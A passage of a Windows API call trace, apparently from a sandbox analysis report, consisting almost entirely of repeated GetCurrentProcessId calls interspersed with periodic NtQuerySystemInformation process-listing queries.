returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.938] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.939] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0246.940] GetCurrentProcessId () returned 0xbf4 [0247.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca40) returned 0x0 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.685] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.686] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.687] GetCurrentProcessId () returned 0xbf4 [0247.688] GetCurrentProcessId () returned 0xbf4 [0247.688] GetCurrentProcessId () returned 0xbf4 [0247.688] GetCurrentProcessId () returned 0xbf4 [0247.688] GetCurrentProcessId () returned 0xbf4 [0248.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0248.402] GetCurrentProcessId () returned 0xbf4 [0248.402] GetCurrentProcessId () returned 0xbf4 [0248.402] GetCurrentProcessId () returned 0xbf4 [0248.402] GetCurrentProcessId () returned 0xbf4 [0248.402] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.403] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.404] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.405] GetCurrentProcessId () returned 0xbf4 [0248.406] GetCurrentProcessId () returned 0xbf4 [0248.406] GetCurrentProcessId () returned 0xbf4 [0248.406] GetCurrentProcessId () returned 0xbf4 [0249.089] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.108] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.109] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.110] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.111] GetCurrentProcessId () returned 0xbf4 [0249.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0249.800] GetCurrentProcessId () returned 0xbf4 [0249.800] GetCurrentProcessId () returned 0xbf4 [0249.800] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.801] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.802] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0249.803] GetCurrentProcessId () returned 0xbf4 [0250.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.562] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.563] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () returned 0xbf4 [0250.564] GetCurrentProcessId () 